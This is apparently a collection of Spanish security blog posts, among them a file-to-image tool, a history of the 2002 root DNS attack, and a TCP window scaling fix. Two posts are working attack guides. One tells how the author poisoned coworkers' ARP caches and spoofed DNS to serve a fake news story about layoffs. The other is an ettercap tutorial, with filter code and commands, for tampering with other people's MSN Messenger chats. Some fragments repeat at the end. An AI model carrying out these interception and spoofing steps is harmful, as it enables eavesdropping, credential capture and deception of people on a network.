El otro día estaba leyendo 48bits y me encontré con un artículo que me encantó titulado En ocasiones… veo patrones… Básicamente expone que a partir de cualquier fichero, basándonos en su contenido, podemos generar una imagen que podemos usar para detectar, de manera visual, los patrones que contiene.
Así, de un solo vistazo, podemos ver lo bueno que es un generador de números aleatorios, como se reparte la información en un fichero comprimido, o donde se encuentra la parte relevante de un boot loader. El caso es que me gustó tanto la idea que me hice mi propio generador de patrones y me puse a “patronizarlo” todo.
Aquí tenéis la imagen generada por un fichero de textos (baja entropía, colores similares, muchos patrones):
Y está otra es la que me generó un JPG (la parte negra es la dedicada a las cabeceras JPG, en el resto del fichero no se perciben patrones):
Aquí tenéis los patrones de un rar (debido a su alta entropía, prácticamente no tiene patrones):
Luego pensé, “Hey, esto de ver los patrones está genial… pero aún sería mejor volver a generar el fichero original a partir de la imagen”. Total, tengo toda la información que necesito en la imagen, sólo tengo que volver a colocarla en el mismo orden. Así que me puse de nuevo manos a los obra y creé la subrutina de inversión.
Así que sí, podéis coger esas imágenes que he puesto en este post y ver lo que hay en ese txt, esa imagen y ese rar. También podéis generar vuestro propias imágenes y subirlas a cualquier lado bordeando los límites de lo legal… pero es que es tan divertido.
Aquí os dejo un par de ejemplos de uso:
Para generar una imagen:
$ java patronus gen cosas.txt cosas.png
Para recuperar el fichero original a partir de la imagen:
$ java patronus rev cosas.png orig.txt
En la imagen no guardo la extensión original del fichero (aunque podría hacerlo), así que tenéis que saber el formato del fichero original si lo queréis visualizar.
Como está escrito en java, os da igual usar Linux, Windows o Mac, sólo buscad el binario java y ejecutadlo como en el ejemplo en donde se encuentre patronus.class. También os dejo las fuentes para que podáis modificar lo que os parezca (se distribuye bajo licencia GPL).
Por cierto, sé que patronus no es un nombre apropiado para el programa, pero lo escribí yo y lo llamó como quiera (hala, que a gusto me he quedado).
Estando yo metido en más asuntos de los que puedo llevar, teniendo más problemas de los que puedo manejar y cansado de todo en general… por alguna terrible asociación de esas con las que nos sorprende nuestro cerebro de vez en cuando (y que a todas luces no tiene sentido lógico), recordé aquellos años de universidad en los estudié a Eliza.
A pesar de que el tiempo no es algo que me sobre, se me ha ocurrido hacer un desarrollo en esa línea, bueno, más bien en una paralela (pero eso es otra historia de la que quizás hable otro día). El caso es que mientras me documentaba y buscaba código de referencia, me topé con el Dr. Abuse.
Se trata de una versión española de Eliza con algunas mejoras interesantes, como la capacidad de recordar temas de conversación antiguos.
El pasado 28 de diciembre, con motivo del día de los Santos Inocentes, y tal y como marca la tradición, decidí gastar una pequeña broma a mis compañeros de trabajo.
Nada demasiado sofisticado, pero lo suficiente para reírnos un rato. Decidí hacer aparecer en un famoso diario online una noticia que tenía que ver con EREs y que nos afectaba especialmente (muahahahaha).
Pues nada, os resumo rápido para no aburriros más de la cuenta…
1. Creé una copia local del diario
$ wget -r http://famoso.diario.español.es
2. Monté un servidor Apache y alojé ahí la copia
3. Modifiqué la portada para poner la fatídica noticia (algo así como: van a despedirnos a todos)
3. Envenené la caché ARP de todos los equipos locales
# ettercap -Tq -M arp:remote //
4. Y por último, puse a funcionar un ataque de DNS Spoofing
# dnsspoof -i eth0 -f hosts
El fichero hosts contenía la nueva asociación que me interesaba:
172.20.16.195 *.famosodiarioespañol.com
Esto significaba que cada vez que alguien intentara resolver esa dirección, yo le enviaría la IP de mi equipo, de tal forma que sería a mi servidor local a donde accederían.
Resultado final
Ahora en los navegadores de todo el mundo salía mi copia local del famoso periódico con la noticia alterada. El resultado fue el pánico general porque lo que hay en Internet es la verdad absoluta. Podría haber puesto que los alienígenas nos invandían o que el Gran Colisionador había generado un agujero negro estable, da igual lo absurdo o irracional de la noticia, si está en algún sitio enlazado por Google con buen pagerank, debe ser cierta.
Hoy no he podido contener la emoción al descubrir fonYou… fijaos si me he emocionado que hasta estoy escribiendo esta entrada. Hace tiempo que no me encontraba con algo realmente nuevo y original, fonYou lo es.
En pocas palabras, se trata de un operador móvil online, cuando te das de alta, te asignan un número de móvil virtual que puedes gestionar desde tu navegador web, igual que gestionas la cuenta del banco.
Este número tiene asociado muchos servicios adicionales, la mayoría de ellos gratuitos y que ofrecen ventajas únicas. Pero mejor ver el video…
Quizás nunca os lo hayáis planteado, quizás nunca creistéis que fuera posible, quizás ni sentistéis los ecos de tamaña batalla… pero lo cierto es que hubo un día en el que toda Internet casi deja de funcionar, fue uno de los ataques más increíbles que jamás se han realizado.
A lo largo de los años de vida de la red de redes no han sido pocos los que han señalado la debilidad de nuestra arquitectura actual de resolución de nombres. Ya sabéis que cuando escribimos en el navegador “www.google.com”, esto debe traducirse a una dirección IP que luego es usada para establecer la conexión. Para realizar este proceso es necesario que nuestro equipo contacte con algún servidor en donde se mapee el nombre “www.google.com” con su IP correspondiente. Obviamente, no existe ningún servidor central en donde todos los nombres estén mapeados con todas las IP, dado el tamaño de Internet y su naturaleza cambiante, eso es simplemente imposible.
Para visualizar la arquitectura de resolución de nombres debemos imaginar una pirámide, en la cima están los servidores raíz, los directores de la orquesta. A ellos siempre podremos preguntarles por el nombre que queramos resolver, pero en vez de darnos la respuesta, nos contestará con la dirección de un servidor de nivel inferior que puede que si la conozca. Ese servidor, si no la sabe, nos contestará a su vez con una dirección de nivel inferior al suyo, y así vamos bajando hasta dar con el servidor de nombres que tiene la información que buscamos. No quiero entretenerme mucho en el protocolo de resolución de nombres (DNS), pero la idea básica es que la información está repartida entre muchos servidores y existen caminos para llegar a ella a partir de los servidores raíz. Como toda arquitectura jerárquica cuenta con el problema clásico de la decapitación, ¿Qué pasa si por alguna razón caen los servidores raíz? Existen un total de 13 servidores de raíz y muchos expertos coinciden en que las posibilidades de realizar un ataque éxitoso sobre los 13 de manera simultánea y con la duración suficiente para que sea notable son rídiculas. Por otro lado, estos servidores cuentan con medidas extraordinarias de seguridad, además atacarlos no produce ningún beneficio a nadie.
A pesar de todo, a las 20.45 UTC del 21 de Octubre del 2002 comenzó un ataque de denegación de servicio distribuido sobre los 13 servidores de nombres raíz. Cientos de miles de equipos comenzaron a establecer conexiones con estos servidores, cargándolos de trabajo adicional con la intención de impedirles realizar la tarea para la que fueron diseñados. El grueso del ataque se prolongó hasta las 22.00 UTC, aunque aún siguieron llegando rafagas de paquetes maliciosos hasta la mañana del 22 de Octubre.
Se estima que cada servidor recibió una carga adicional de entre 50 y 100 Mbits/seg. El tráfico involucrado en el ataque iba desde paquetes ICMP hasta paquetes TCP mal fragmentados, pasando por los clásicos TCP SYN o intentos de conexiones UDP. Todas las direcciones de origen eran falsas, por lo que nunca se pudo ubicar a los bots que lanzaron el ataque.
Lo más singular es que fue la primera vez en que se ponía en marcha un ataque simultáneo de tal magnitud, el simple hecho de llevarlo a cabo ya era un reto importante. Otro de los detalles más desconcertantes fueron las motivaciones del atacante… la gloria en los sitios más oscuros del underground es lo único que parece aceptable.
El objetivo del ataque era evitar que los servidores de nombres raíz pudieran responder a las peticiones de resolución de nombres, lo que impediría la comunicación con cualquier máquina de la que no supieramos la IP. Por buscar un símil, si Internet es un gran continente, el ataque lo hubiera fragmentado en pequeñas islas incomunicadas entre sí… o con una comunicación muy limitada. Un desastre… sin negocios globales, sin e-mail… SIN GOOGLE!!! (bueno, posiblemente sí que seguiríamos teniendo acceso a Google, al menos durante varias horas después del comienzo del ataque, pero eso es otra historia). El caso es que de haber funcionado, hubiera sido un cataclismo sin precedentes… pero a que no os habéis enterado de que algo parecido haya sucedido, ¿verdad?
A pesar de que el ataque llegó a afectar a 9 de los 13 servidores, sólo fue perceptible por el usuario final como pequeños retrasos al intentar usar ciertos servicios. Esto se debió principalmente a las buenas medidas con las que contaban los servidores raíz para hacer frente a eventualidades como éstas y al buen hacer de los técnicos que intervinieron en esta incidencia: se amplió el caudal de datos, se activaron balanceadores de carga, se pusieron en marcha redes espejos para evitar congestiones en puntos concretos y muchas más medidas adicionales.
Todo quedó en un susto, horas de sueño perdidas y bastante dinero gastado (las contramedidas que se tomaron para mantener el servicio no fueron precisamente baratas). Además sirvió para reforzar aún más la seguridad de estos servidores.
Pero ésta no fue la última vez que se intetó decapitar Internet, el 6 de Febrero del 2007 un nuevo ataque masivo intentaba dejar fuera de servicio a los servidores raíz. A pesar de que este ataque fue mucho más agresivo y gracias a las mejoras introducidas en la arquitectura DNS tras el ataque del 2002, el impacto fue muy limitado, aunque se informó que dos de los servidores raíz habían sido gravemente afectados. Sin embargo, una vez más, el usuario final apenas notó retrasos en las comunicaciones.
Creedme si os digo que todos los días se libran batallas escalofriantes en ésta, nuestra red, sin embargo los hombres de negro velan por nosotros… o eso dicen ellos.
Desde hace tiempo estoy buscando alguna excusa para instalar mi querido Debian en el ordenador del trabajo. Por fin la excusa llegó de mano de un proyecto muy interesante sobre clusters Red Hat y sistemas de ficheros compartidos. El caso es que tras instalarlo fui tan contento a bajar algunas herramientas que necesitaba vía apt-get. No podéis imaginar mi sorpresa cuando la velocidad de descargar no superaba los 6KB, más o menos la velocidad a la que iba mi antiguo modem, allá por el principio de los tiempos.
Me digo, ¡No puede ser! Windows va estupendamente y nadie se queja, así que tiene que ser cosa del repositorio APT, voy a probar otro mirror. Pues no, todos iguales.
¿Me afectará también a la hora de navegar? Pues sí y no. En algunas páginas va genial y en otras se arrastra. Que cosa más rara.
Quizás es algún bug que hay en este kernel tan nuevo, mañana traigo el portátil de casa y comparo. Y lo traje y vi asombrado como mi portátil no superaba los 6KB. También llevé el equipo del trabajo a casa y vi como la velocidad de descarga no bajaba de los 200KB.
Ajá, hay algo en la red del trabajo que le está haciendo la puñeta a mi pobre Linux y que dejá a los Windows tan tranquilos. Esto en sí mismo es bastante raro, pero ya puestos me puse a trastear con switches y routers. Mmmmm… todo parece correcto.
¿Y que dice Google? Seguro que ya ha habido muchos casos como éste antes. Y sí, efectivamente ha habido muchos casos como éste. Búsquedas tan originales como linux internet lento o simpelmente internet lento arrojan miles de resultados. Algunos coinciden exactamente con mi problema, sin embargo las soluciones que ofrece la comunidad son del estilo: revisa el cable, formatea el equipo o desfragmenta el disco. Es más, este problema no se limita sólo a los Linux, hay otros S.O. como Windows Vista que también lo sufren.
Pero…
¿Por qué en casa va bien?
¿Por qué con algunos servidores no hay problemas?
¿Por qué me pasa a mi esto (y a los demás no)? Es inevitable pensar que somos las personas más desgraciadas del universo…
Vale, habrá que tomarse las cosas con calma, ¿Qué sabemos?
* Es un problema que ocurre en la red del trabajo, por lo tanto hay algún elemento de la misma que está haciendo algo que no debe.
* Por los resultados de la búsqueda podemos deducir que es un problema que afecta a S.O. relativamente recientes.
* No todas las comunicaciones están afectadas (esto sí que es condenadamente raro)
Armado con mi wireshark sigo haciendo pruebas y descubro que el problema sólo parece darse con conexiones TCP. Ya la cosa tiene más sentido. Quizás alguna optimización de la pila TCP que se ha incluido en los nuevos núcleos y no es bien vista por equipos de comunicaciones antiguos. Ahora que ya sé lo que estoy buscando vuelvo a Google y no tardo en encontrar el RFC1323 y los problemas que tienen alguno routers con él. Voy a resumir un poco para no aburriros demasiado…
El RFC1323 es una extensión al protocolo TCP para resolver un problema conocido como TCP Window Scaling. Uno de los campos del protocolo TCP, llamado window, especifica la cantidad de datos que esta preparado a recibir el sistema que envía el paquete. De esta manera comunicamos al otro extremo como estamos de carga y lo que estamos dispuesto a procesar, es el mencanismo de control de flujo básico de TCP.
El campo window tiene una longitud de 16bits, lo que implica que podemos especifar una ventana máxima de 64Kb, en aquellos tiempos en los que se diseñó el protocolo era un tamaño ridículamente exagerado, hoy en día es un tamaño ridículamente limitado. Así que en el 92 salió a la luz el RFC1323 en el que se especificaba una manera de acabar con esta limitación.
Lo solución que se dió es la siguiente, se incluye un campo de opciones TCP llamado scale. El valor de este campo multiplicado por el valor del campo window especifica el tamaño real de la ventana TCP (para los puristas: no se realiza una multiplicación, sino un desplazamiento hacia la izquierda de bits). Así pues, de esta manera tan sencilla se había acabado con el problema de ventanas TCP demasiado pequeñas.
Ahora bien, había otro problema que solucionar. No todos los sistemas tenían que implementar esta optimización y aún así todos deberían poder seguir comunicándose entre sí. Se decidió que la mejor manera de solucionar esto era negociarlo durante el 3-way-handshake (SYN/SYN+ACK/ACK). Si un sistema desea usar las optimizaciones del tamaño de ventana, manda en el paquete SYN la opción TCP adecuada con la escala que considere oportuna, si el sistema destino soporta la optimización, devolverá en el paquete SYN-ACK esta opción, si no siemplemente elminará la opción del paquete de vuelta, que es la forma estándar de proceder en el caso de ignorar el significado de una opción TCP. La limitación de esta negociación es que el tamaño de la ventana permanece constante durante toda la sesión TCP, un mal menor.
Y ahora el problema, algunos routers y firewalls, como medida de “seguridad”, cuando ven alguna opción TCP que no reconocen la ponen a 0, lo que claramente viola el estándar: o bien se quita el campo de opción completo o bien se ignora su contenido, pero alterarlo de esa manera sólo puede producir problemas. Veamos lo que pasa, nuestro Linux que soporta la optimización del RFC1323 pone el campo scale como opción TCP. Nuestro router no ve con buenos ojos esa opción que no reconoce y la pone a 0. El sistema final, que también soporta el RFC1323 hace los calculos para una escala de 0 y devuelve el SYN+ACK con esta opción activa. El resultado es una confusión en el tamaño de ventana que hay que utilizar. Los problemas que esto genera van desde una comunicación extremadamente lenta o la pérdida total de comunicación. Por otro lado, si el sistema final no soporta las optimización, el campo scale es ignorado y eliminado del paquete de vuelta, y se usa el antiguo método de control de flujo, por lo que todo va estupendamente bien. De ahí que con algunos sistemas dé problemas y con otros no.
SOLUCIÓN
El workaround es desactivar esta optimización, en Linux esto lo puedes hacer así:
echo 0 > /proc/sys/net/ipv4/tcp_window_scaling
Lo que cambiará esta opción hasta el próximo reinicio de la máquina, para dejarlo fijo añade la siguiente línea al /etc/sysctl.conf:
net.ipv4.tcp_window_scaling = 0
Para Windows Vista tienes una guía paso a pasa en el siguiente enlace:
Quiero pediros disculpas por este abandono repentino y violento que ha sufrido el blog. También quiero dar las gracias a todos los que han dejado un comentario de apoyo, no hay nada como saber que te están leyendo para que te entren ganas de escribir
Siento que os debo una explicación, no es una excusa, no existen excusas para lo que he hecho con este pobre blog y con mis sufridos lectores (a los que quiero dar las gracias de corazón por seguir a ese lado de las pantallas). Bueno, ahí va, ese viejo dicho “año nuevo, vida nueva” se ha cumplido para mí con la entrada del 2009. Por una parte me han incluido en un montón de proyectos nuevos, proyectos muy interesantes pero que consumen un montón de mi tiempo, ahora tengo que hacer más viajes, redactar más informes y, en definitiva, perder más horas de sueño. Por otra parte he empezado una nueva aventura personal, me voy a vivir con mi chica. El caso es que mi futura casa necesita bastantes reparaciones y el poco tiempo libre que me deja el trabajo lo empleo ahí.
Tenía que abandonar algo y el blog fue lo primero que se quedó sin tiempo (pero no lo único). Ahora que las obras ya marchan bien y que no tengo que estar dando gritos a todo el mundo, empiezo a recuperar poco a poco algo de tiempo, aunque no demasiado, todavía queda mucho por hacer y muchos proyectos que acabar.
Me encanta volver a estar escribiendo aquí y os prometo que pronto traeré nuevos post.
Aunque sea un poco tarde no quiero dejar de desearos una Feliz Navidad desde SendaOscura.
Y como el post se me queda muy corto, voy a contaros algo que paso hace muchos años en un lugar muy lejano…
Tal día como hoy los expertos en seguridad de una importante compañía que contaba con los más sofisticados sistemas de protección, salían a toda prisa para acabar las últimas compras navideñas. Les esperaba una larga noche, muchos regalos que colocar bajo el luminoso árbol para que al día siguiente sus pequeños retoños disfrutaran de la ilusión de todos los años. Estando la empresa desierta y todos los expertos con otros asuntos de los que ocuparse, nadie notó como todas las alarmas saltaban. Como los IDS no dejaban de detectar firmas de ataques y como tras muchos intentos, uno de los servidores cayó bajo el control de aquella fuerza misteriosa.
Sí, fue una noche larga, por un lado los regalos se amontonaban junto al árbol, por el otro varios sistemas caían al son del Jingle Bells, Los logs amontonaban información del ataque, pero no había nadie allí para hacer nada. Hubo varios intentos infractuosos de un IPS por evitar al intruso, pero con tanto tiempo por delante nada podía impedir aquella fuerza destructora.
A la mañana siguiente, mientras los expertos en seguridad de la compañía se volvía locos intentando descifrar los manuales de esos raros juguetes en algún idioma exótico, los logs seguían incrementándose. El ataque no acabó hasta la madrugada del día 26. Ahí quedaban muchos logs y unos cuantos servidores maltrechos para demostrar lo que había pasado, pero ya era demasiado tarde para alcanzar al hábil intruso.
No lo olvidéis, hay algunos que no toman vacaciones, que no descansan nunca, que viven por y para superar retos imposibles. Es difícil encontrar a gente así entre los ‘buenos’, sin embargo hay muchos que viven con la única ilusión de que su gesta perdure para siempre en las crónicas del underground. Gente que no descansa hasta alcanzar su objetivo y que cuando lo consiguen se imponen uno mayor.
Es bueno no olvidar esto y procurar que las guardias del día de Navidad le toquen a algún compañero
Ha llegado la hora de poner en práctica los conceptos que vimos en el anterior artículo MitM, ha llegado el momento de causar terror en nuestra red
Ya comenté que los ataques MitM tienen multitud de aplicaciones, en este post os voy a enseñar una que permite romper relaciones, desbaratar amistades y crear desconfianza en cuestión de minutos… os voy a enseñar a modificar las conversaciones del messenger
Lo primero son las herramientas y para esta tarea no hay una mejor que Ettercap, utilidad compleja donde las haya pero increíblemente versátil y potente. La podemos obtener directamente de su web o a través de los gestores habituales (apt-get, yum, etc.). También necesitaremos un buen sniffer, yo suelo usar Wireshark.
Antes de empezar con el ataque tenemos que estudiar un poco nuestro objetivo, como lo que queremos es modificar las conversaciones del messenger, lo lógico sería estudiar el protocolo (MSNMS) antes de meternos en esta tarea. Afortunadamente y ya que sólo vamos a realizar un ataque muy simple, no necesitamos un conocimiento muy profundo. De todas formas, para los que estén interesados, la gente de hypothetic.org tiene una guía no oficial en donde se muestran y discuten todos los detalles del protocolo (desde aquí les doy las gracias por el curro que se han pegado, el msnspy no sería lo mismo sin ellos).
Para el caso que nos ocupa nos basta un vistazo superficial al protocolo, nos vale con poner a escuchar el wireshark y mantener un par de conversaciones. Pronto nos daremos cuenta que nuestro cliente messenger se conecta con un servidor externo. El puerto TCP en el que escucha por defecto ese servidor es el 1863. El protocolo usa un montón de tipo de mensajes diferentes, pero los paquetes que llevan las palabras que escribimos son los que comienzan con “MSG”. Con esta información es más que suficiente para este sencillo ataque.
Bien, hablemos ahora de nuestra herramienta estrella, Ettercap, que nos va a permitir colocarnos en medio de la conexión entre los dos extremos (servidor messenger y cliente) y, de forma muy sencilla, modificar aquellos paquetes que queramos. El tipo de modificación que vamos a emplear para este ataque tiene una limitación importante: sólo podremos cambiar palabras o frases por otras de la misma longitud. De todas formas, esto es más que suficiente para que montemos la de San Quintín.
Filtro para el Ettercap
La primera parte de nuestro trabajo será crear un filtro que indique al Ettercap que es lo que queremos que modifique. En la página de ayuda el Etterfilter (man etterfilter) tenemos toda la información necesaria para crear estos filtros. Aquí tenéis un ejemplo:
—
if (ip.proto == TCP && tcp.dst == 1863) { if (search(DATA.data, “guapa”)) { replace(”guapa”, “fea ”); #Fijaos que dejo espacios en blanco para hacer coincidir longitudes msg(”Cambio: guapa -> fea\n”); }
if (search(DATA.data, “Quiero”)) { replace(”Quiero”, “Odio “); #Fijaos que dejo espacios en blanco para hacer coincidir longitudes msg(”Cambio: Quiero -> Odio\n”); } }
—
Seguro que ya tenéis en mente algunos cambios más interesantes, ¿verdad?
Compilando el filtro
El siguiente paso es compilar el filtro. Esto es muy sencillo:
$ etterfilter filtro_prueba.txt -o filtro_msn.ef
Realizando el ataque MitM
Finalmente sólo nos queda llevar a cabo el ataque. Utilizaremos un envenemiento ARP para esta tarea, aunque si consultáis el manual del Ettercap (man ettercap) veréis que tiene muchos más disponibles (ya me he apuntado que tengo que escribir un post sobre las diferentes formas de colarse en medio de la conexión).
El comando sería tal como sigue (recordad que necesitamos privilegios de root):
# ettercap -Tq -M arp:remote -F filtro_msn.ef //
El flag -T le dice al Ettercap que se inicie con una interfaz solo texto. El -q es para que no salga ningún mensaje a parte de los que hemos colocado en el script (si quitáis esta opción el Ettercap os recompensará con todas las contraseñas que encuentre, muy útil).
-M arp:remote le indica el tipo de estrategia que debe seguir para situarse en medio de la conexión. En este caso le decimos que haga un envenenamiento ARP. Lo de remote significa que lo haga en los dos sentidos, me explico, en un envenenamiento ARP engañamos al cliente diciéndole que somos la pasarela, de esta forma todo lo que el cliente mande al exterior pasa a través de nuestra máquina. Sin embargo, lo que la pasarela envia al cliente no pasa por nosotros. Con la opción remote le decimos que también engañe a la pasarela, haciendole pensar que nosotros somos el cliente.
-F filtro_msn.ef carga y activa el filtro que hemos compilado
// Son los hosts sobre los que queremos realizar el ataque, en este caso, toda la red. El formato sería así [MAC]/[IP]/[Puertos]. Si quisieramos atacar sólamente dos equipos, podríamos hacerlo como sigue:
Si lo hacemos de esta forma es importante no olvidar incluir al gateway entre los equipos objetivos. Una variante para varios equipos con IPs consecutivas sería:
Pues ya tenemos el ataque funcionando, ahora ponemos a funcionar el msnspy y vemos como la gente se pelea. Lo mejor es que aunque descubran que lo que les llega a su interlocutor no es lo que mandaron, ni siquiera les pasará por la mente que alguien esté realizando un ataque de este tipo. Lo más probable es que lo achaquen a un virus o algo por el estilo… y es que ¿Quién podría imaginar que hay alguien en la oscuridad manipulando y cambiando sus palabras? Ridículo.
Por útlimo comentar que este post sólo pretende despertar vuestra curiosidad sobre este tipo de ataques y sobre una herramienta tan potente como Ettercap. Pensando un poco descubriréis que los usos que se le pueden dar son muchos y alguno de ellos reamente diabólicos. Así que ya sabéis, sed buenos y no hagáis nada que yo no haría xD
The Lord Of The (Token)Ring
(the fellowship of the packet)
“One Ring to link them all, One Ring to ping them,
one Ring to bring them all and in the darkness sniff them.”
Tendriaís que haber visto la cara que se me quedó cuando me encontré con uno de mis posts en otro blog y además firmado por otra persona!!. Al contrario de la indignación que suele acompañar a estos casos, a mí me entró la risa. Exagerando un poquito, hasta me hizo ilusión Al fin y al cabo si te copian es que lo estás haciendo bien.
Aquí está la espectacular web de AngelInformático y su galería de artículos copiados. Pero es que además este curioso personaje tiene otro blog llamado Soporte Computacional en el que se dedica a resolver las dudas que le envían… eso sí, a base de ir copiando artículos a diestro y siniestro. Al mío sólo le cambio el título, todo lo demás es idéntico (ver artículo original).
Y ahora unas palabras para el plagiador: te paso que me hayas copiado el texto, te paso que no me cites como fuente… pero lo que es intolerable es que encima firmes con tu nombre! Un poco de decencia, hombre.
(bueno, posiblemente sí que seguiríamos teniendo acceso a Google, al menos durante varias horas después del comienzo del ataque, pero eso es otra historia). El caso es que de haber funcionado, hubiera sido un cataclismo sin precedentes… pero a que no os habéis enterado de que algo parecido haya sucedido, ¿verdad?
Al fin y al cabo si te copian es que lo estás haciendo bien.